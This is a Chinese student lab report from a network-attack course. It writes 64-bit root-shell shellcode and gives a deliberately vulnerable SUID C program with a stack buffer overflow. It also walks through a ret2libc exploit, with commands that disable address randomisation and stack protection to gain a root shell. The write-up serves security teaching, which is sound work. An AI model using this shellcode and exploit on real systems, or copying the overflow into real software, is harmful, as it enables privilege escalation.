2018-2019 20165226 网络对抗 Exp1+ 逆向进阶

2018-2019 20165226 网络对抗 Exp1+ 逆向进阶

目录


一、实验内容介绍
二、64位shellcode的编写及注入
三、ret2lib及rop的实践

四、问题与思考



一、实验内容介绍

第一个实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护

(2)关闭堆栈执行保护

(3)关闭地址随机化

(4)在x32环境下

(5)在Linux实践环境

建议的实践内容包括:

  • Task1 (5-10分)

    • 自己编写一个64位shellcode。参考shellcode指导
    • 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
  • Task 2 (5-10分)

    • 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。参考ROP
  • Task 3 ( 5-25分)

    • 可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。

    • 或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗?

同学们可跟踪深入任何一个作为后续课题。问题-思考-验证-深入...。根据实践量,可作为5-25分的期末免考题目。

往届样例:学习并实践:Linux攻击实践完整流程
返回目录



二、64位shellcode的编写及注入


自己编写一个64位shellcode。参考shellcode指导。
自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。

shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
第二种是通过调用libc里syscall(64位)和sysenter(32位)

  • 首先通过资源找到root shell的汇编源码
global _start  
  
_start:  
  
xor rdi,rdi  
xor rax,rax  
mov al,0x69  
syscall  
  
xor rdx, rdx  
mov rbx, 0x68732f6e69622fff  
shr rbx, 0x8  
push rbx  
mov rdi, rsp  
xor rax, rax  
push rax  
push rdi  
mov rsi, rsp  
mov al, 0x3b  
syscall

  • 用nasm编译,然后用ld进行链接

  • 这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的操作码

  • 套用一个代码测试我们的shellcode
#include <stdio.h>  
#include <string.h>  
  
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";  
  
int main(void)  
{  
fprintf(stdout,"Length: %d\n",strlen(shellcode));  
(*(void(*)()) shellcode)();  
return 0;  
}  

通过运行结果,发现这个shellcode不能用

返回目录



三、ret2lib及rop的实践


进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。

1、ROP

  • ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

  • ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。

  • ROP的核心思想:
    • 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
    • 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
    • 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。
  • ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
    • 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
    • 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
    • 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。

2、核心原理-攻击缓冲区的内容

下表中ptr1-3就是在当前进程内存空间中要找到的地址。然后利用这三个地址构造攻击缓冲区,覆盖被攻击函数的堆栈。这只是一个非常简单的ROP攻击,只用了一个代码片段。复杂的ROP是由一系列的ptr1那样的指针构成,每一个都是以retq结尾的一小片代码(gadget)。

攻击用的缓冲区 指向的内容 说明
ptr3内存地址3(高地址) system
ptr2内存地址2 /bin/sh
ptr1内存地址1(低地址) pop %rdi;retq 覆盖堆栈上的返回地址
填充内容 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址

上面构造的攻击用缓冲区原理和前面介绍的Shellcode很类似。

  • 利用这个攻击buf覆盖堆栈
  • 当函数返回时,就会跳转到ptr1指向的指令
  • pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
  • 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell

3、攻击步骤

  • 输入命令安装一些用于编译 32 位 C 程序的东西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
  • 输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash。
    关闭地址空间随机化,不能随机堆(heap)和栈(stack)的初始地址。以及##设置堆栈不可执行##。
gcc -z noexecstack -o test test.c  //栈不可执行
sudo sysctl -w kernel.randomize_va_space=0 //关闭地址随机化

  • 添加一个新用户,如图所示

  • 即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
    linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。

  • 把以下漏洞代码保存为5226retlib.c文件,保存到/tmp目录下,并进行编译,设置。代码如下:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

  • 编译上述程序编译该程序,并设置 SET-UID。
sudo su//获取root权限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行
chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作
exit

  • 此外,我们还需要用到一个读取环境变量的程序,并通过gcc -m32 -o getenvaddr getenvaddr.c进行编译。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}
  • 获得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic

  • 以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}
  • 通过编译和gdb调试获取system和exit地址
gcc -m32 -g -o exploit exploit.c//编译
gdb -q ./exploit//调试
b 10//设置断点
run//运行到断点处
p system//获取system地址
p exit//获取exit地址

  • 修改exploit.c文件,填上刚才找到的内存地址。删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c

  • 首先运行攻击程序,生成badfile文件,载运行漏洞程序,可以看到攻击成功,获得root权限。

返回目录



四、问题与思考

  • 问题1:输入命令行sudo apt-get install lib32readline-gplv2-dev的时候出现无法安装的提示

  • 问题1解决方案:将命令改成sudo apt-get install lib32readline6-dev于是成功安装

  • 问题2:在编译5226retlib.c时出现如图所示错误

  • 问题2解决方案:发现第一行没有#,加上后编译成功

  • 问题3:在运行攻击程序生成badfile文件,载运行漏洞程序时攻击失败

  • 问题3解决方案:发现在另一终端未退出,在退出后重新进入目录,再运行,成功
    返回目录



猜你喜欢

转载自www.cnblogs.com/musea/p/10580724.html